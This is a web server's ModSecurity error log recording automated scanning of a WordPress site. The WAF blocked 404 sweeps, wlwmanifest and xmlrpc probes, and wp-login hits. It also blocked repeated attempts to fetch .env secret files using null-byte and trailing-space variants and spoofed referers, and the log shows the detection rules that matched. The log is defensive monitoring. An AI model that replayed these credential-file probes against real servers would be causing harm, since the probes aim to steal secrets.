[Sat Mar 14 05:35:39.027016 2026] [:error] [pid 4018:tid 4048] [client 65.108.2.171:49818] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abSDKwEk1fxdMMkDDaLUOwAAANc"]
[Sat Mar 14 05:35:41.696479 2026] [:error] [pid 3914:tid 3995] [client 65.108.2.171:49832] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abSDLfH_HeUqa_sn9-AJhQAAAIs"]
[Sat Mar 14 05:35:44.492366 2026] [:error] [pid 35801:tid 35817] [client 65.108.2.171:49836] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abSDMG8tVFelXGsqbU-qLAAAAQ0"]
[Sat Mar 14 05:35:47.014795 2026] [:error] [pid 3912:tid 3927] [client 65.108.2.171:50264] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abSDM8XFZBK-jpdCvTHHZQAAAAA"]
[Sat Mar 14 05:35:49.817137 2026] [:error] [pid 4018:tid 4026] [client 65.108.2.171:50272] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abSDNQEk1fxdMMkDDaLUQwAAAME"]
[Sat Mar 14 05:35:52.325801 2026] [:error] [pid 3912:tid 3930] [client 65.108.2.171:50280] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abSDOMXFZBK-jpdCvTHHagAAAAM"]
[Sat Mar 14 05:35:54.989736 2026] [:error] [pid 3914:tid 3985] [client 65.108.2.171:10816] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abSDOvH_HeUqa_sn9-AJjwAAAIE"]
[Sat Mar 14 05:35:57.682473 2026] [:error] [pid 3914:tid 3986] [client 65.108.2.171:10824] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abSDPfH_HeUqa_sn9-AJkwAAAII"]
[Sat Mar 14 05:36:00.334058 2026] [:error] [pid 4018:tid 4039] [client 65.108.2.171:10840] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abSDQAEk1fxdMMkDDaLUkgAAAM4"]
[Sat Mar 14 05:36:31.803023 2026] [:error] [pid 3914:tid 4005] [client 65.108.2.171:62196] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abSDX_H_HeUqa_sn9-AJqgAAAJU"]
[Sat Mar 14 05:36:34.559484 2026] [:error] [pid 35801:tid 35809] [client 65.108.2.171:62208] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abSDYm8tVFelXGsqbU-qugAAAQU"]
[Sat Mar 14 05:36:37.063362 2026] [:error] [pid 4018:tid 4045] [client 65.108.2.171:55834] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abSDZQEk1fxdMMkDDaLUtgAAANQ"]
[Sat Mar 14 05:36:39.724458 2026] [:error] [pid 4018:tid 4037] [client 65.108.2.171:55846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abSDZwEk1fxdMMkDDaLUvgAAAMw"]
[Sat Mar 14 09:08:52.564548 2026] [:error] [pid 57226:tid 57246] [client 223.181.53.210:2126] [client 223.181.53.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.53.210, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abS1JGxFlXQvNewjeI9wmwAAAVA"]
[Sat Mar 14 14:17:33.699099 2026] [:error] [pid 13360:tid 13372] [client 195.201.199.99:55380] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abT9ffoSWtMry3M5X6siDwAAAog"]
[Sat Mar 14 14:17:38.050753 2026] [:error] [pid 54132:tid 54145] [client 195.201.199.99:48716] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abT9gsMoWcZxtn8Rxy9e9gAAA0g"]
[Sat Mar 14 14:17:42.198947 2026] [:error] [pid 13261:tid 13279] [client 195.201.199.99:50430] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abT9hvDFVxjWSW61p5krXwAAAM0"]
[Sat Mar 14 15:23:11.242828 2026] [:error] [pid 61477:tid 61481] [client 34.24.166.229:57381] [client 34.24.166.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.166.229, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abUM36cx6muYfIYRM7CGNwAAAEA"]
[Sat Mar 14 15:23:12.863547 2026] [:error] [pid 61477:tid 61493] [client 34.24.166.229:57381] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "abUM4Kcx6muYfIYRM7CGTwAAAEw"]
[Sat Mar 14 15:23:13.813664 2026] [:error] [pid 61477:tid 61504] [client 34.24.166.229:53465] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "abUM4acx6muYfIYRM7CGVwAAAFc"]
[Sat Mar 14 15:23:14.747570 2026] [:error] [pid 61384:tid 61463] [client 34.24.166.229:52280] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "abUM4vzibL2IYJprDHKFVAAAAdQ"]
[Sat Mar 14 15:23:15.767593 2026] [:error] [pid 61384:tid 61443] [client 34.24.166.229:63226] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "abUM4_zibL2IYJprDHKFVgAAAcA"]
[Sat Mar 14 15:23:16.735213 2026] [:error] [pid 61383:tid 61438] [client 34.24.166.229:63662] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "abUM5C4SAn4TCd4o0dW_kwAAARY"]
[Sat Mar 14 15:23:17.602612 2026] [:error] [pid 61384:tid 61451] [client 34.24.166.229:49304] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abUM5fzibL2IYJprDHKFWQAAAcg"]
[Sat Mar 14 15:23:18.490897 2026] [:error] [pid 61384:tid 61450] [client 34.24.166.229:54787] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abUM5vzibL2IYJprDHKFXQAAAcc"]
[Sat Mar 14 15:23:19.452111 2026] [:error] [pid 61384:tid 61457] [client 34.24.166.229:57000] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "abUM5_zibL2IYJprDHKFYgAAAc4"]
[Sat Mar 14 15:23:20.402894 2026] [:error] [pid 61384:tid 61458] [client 34.24.166.229:63777] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abUM6PzibL2IYJprDHKFZAAAAc8"]
[Sat Mar 14 15:23:21.389179 2026] [:error] [pid 61477:tid 61505] [client 34.24.166.229:55623] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abUM6acx6muYfIYRM7CGZQAAAFg"]
[Sat Mar 14 15:23:22.352311 2026] [:error] [pid 61383:tid 61424] [client 34.24.166.229:52291] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abUM6i4SAn4TCd4o0dW_mQAAAQg"]
[Sat Mar 14 15:23:23.299507 2026] [:error] [pid 61477:tid 61496] [client 34.24.166.229:56080] [client 34.24.166.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abUM66cx6muYfIYRM7CGaAAAAE8"]
[Sat Mar 14 16:49:19.221966 2026] [:error] [pid 61383:tid 61423] [client 173.239.224.111:36593] [client 173.239.224.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.111, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abUhDy4SAn4TCd4o0dXSNgAAAQc"]
[Sat Mar 14 16:49:20.040939 2026] [:error] [pid 61477:tid 61491] [client 173.239.224.102:22297] [client 173.239.224.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.102, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abUhEKcx6muYfIYRM7CmvgAAAEo"]
[Sat Mar 14 17:12:45.731547 2026] [:error] [pid 61384:tid 61447] [client 43.153.71.12:59540] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abUmjfzibL2IYJprDHKhiAAAAcQ"]
[Sat Mar 14 17:37:39.401933 2026] [:error] [pid 61382:tid 61397] [client 182.42.111.213:40056] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abUsY_5UUtpNLvwsJ7jtOAAAAAs"]
[Sat Mar 14 20:11:07.353802 2026] [:error] [pid 30154:tid 30169] [client 203.177.64.130:60258] [client 203.177.64.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.177.64.130, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abVQW16OP9woRgp3v0F0UwAAAMk"]
[Sat Mar 14 23:05:13.071347 2026] [:error] [pid 61382:tid 61400] [client 105.154.119.217:49976] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "abV5Kf5UUtpNLvwsJ7gN_wAAAA4"], referer: https://www.youtube.com/results?search_query=
[Sat Mar 14 23:05:14.228055 2026] [:error] [pid 30154:tid 30182] [client 105.154.119.217:50249] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env."] [unique_id "abV5Kl6OP9woRgp3v0GxwwAAANY"], referer: https://www.facebook.com/travel/posts/67890?__cft__[0]=xyz
[Sat Mar 14 23:05:16.306513 2026] [:error] [pid 61382:tid 61401] [client 105.154.119.217:50383] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env/"] [unique_id "abV5LP5UUtpNLvwsJ7gOAgAAAA8"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Sat Mar 14 23:05:17.506865 2026] [:error] [pid 30154:tid 30177] [client 105.154.119.217:50600] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env%00"] [unique_id "abV5LV6OP9woRgp3v0GxygAAANE"], referer: https://twitter.com/search?q=%23travel&src=typed_query&f=live
[Sat Mar 14 23:05:18.649025 2026] [:error] [pid 49351:tid 49356] [client 105.154.119.217:50730] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env%20"] [unique_id "abV5LhzAvuOUcwe0iz-DVgAAAwI"], referer: https://www.wikipedia.org/
[Sat Mar 14 23:05:22.324710 2026] [:error] [pid 61477:tid 61505] [client 105.154.119.217:50845] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env%20"] [unique_id "abV5Mqcx6muYfIYRM7DftwAAAFg"], referer: https://t.me/share/url?url=https%3A%2F%2Frecipe-site.com&text=Great+recipe
[Sat Mar 14 23:05:26.041015 2026] [:error] [pid 49293:tid 49315] [client 105.154.119.217:53751] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "abV5NjAUTjJFxypCRwKSoAAAAtQ"], referer: https://l.facebook.com/
[Sat Mar 14 23:05:31.550544 2026] [:error] [pid 49433:tid 49454] [client 105.154.119.217:54397] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local."] [unique_id "abV5O8EQ_2QRXp9zrWZfUQAAA5M"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Sat Mar 14 23:05:35.035270 2026] [:error] [pid 30154:tid 30165] [client 105.154.119.217:54969] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local/"] [unique_id "abV5P16OP9woRgp3v0Gx2AAAAMU"], referer: https://www.cloudflare.com/
[Sat Mar 14 23:05:38.627765 2026] [:error] [pid 49293:tid 49306] [client 105.154.119.217:55155] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local%00"] [unique_id "abV5QjAUTjJFxypCRwKSqwAAAss"], referer: https://dev.to/search?q=react+hooks+tutorial
[Sat Mar 14 23:05:41.523338 2026] [:error] [pid 30154:tid 30169] [client 105.154.119.217:55543] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local%20"] [unique_id "abV5RV6OP9woRgp3v0Gx3QAAAMk"], referer: https://www.bing.com/search?q=latest+movies+2026&form=QBLH
[Sat Mar 14 23:05:44.895666 2026] [:error] [pid 61383:tid 61422] [client 105.154.119.217:55855] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local%20"] [unique_id "abV5SC4SAn4TCd4o0dUjqQAAAQY"], referer: https://www.reddit.com/r/worldnews/comments/def789/headline/?utm_source=share&utm_medium=web2x
[Sat Mar 14 23:05:47.665706 2026] [:error] [pid 49351:tid 49371] [client 105.154.119.217:53474] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "abV5SxzAvuOUcwe0iz-DdQAAAxE"], referer: https://bitbucket.org/dashboard/overview
[Sat Mar 14 23:05:48.782753 2026] [:error] [pid 61382:tid 61406] [client 105.154.119.217:53801] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production."] [unique_id "abV5TP5UUtpNLvwsJ7gOIgAAABQ"], referer: https://www.npmjs.com/search?q=date+formatter
[Sat Mar 14 23:05:50.525740 2026] [:error] [pid 49433:tid 49455] [client 105.154.119.217:53939] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production/"] [unique_id "abV5TsEQ_2QRXp9zrWZfWAAAA5Q"], referer: https://www.tiktok.com/tag/cooking?lang=en
[Sat Mar 14 23:05:51.727494 2026] [:error] [pid 61383:tid 61419] [client 105.154.119.217:54147] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production%00"] [unique_id "abV5Ty4SAn4TCd4o0dUjrQAAAQM"], referer: https://www.cloudflare.com/
[Sat Mar 14 23:05:54.111991 2026] [:error] [pid 49351:tid 49365] [client 105.154.119.217:54279] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production%20"] [unique_id "abV5UhzAvuOUcwe0iz-DhgAAAws"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Sat Mar 14 23:05:55.941497 2026] [:error] [pid 49293:tid 49298] [client 105.154.119.217:54903] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production%20"] [unique_id "abV5UzAUTjJFxypCRwKSyAAAAsM"], referer: https://duckduckgo.com/?q=funny+cat+videos&t=brave
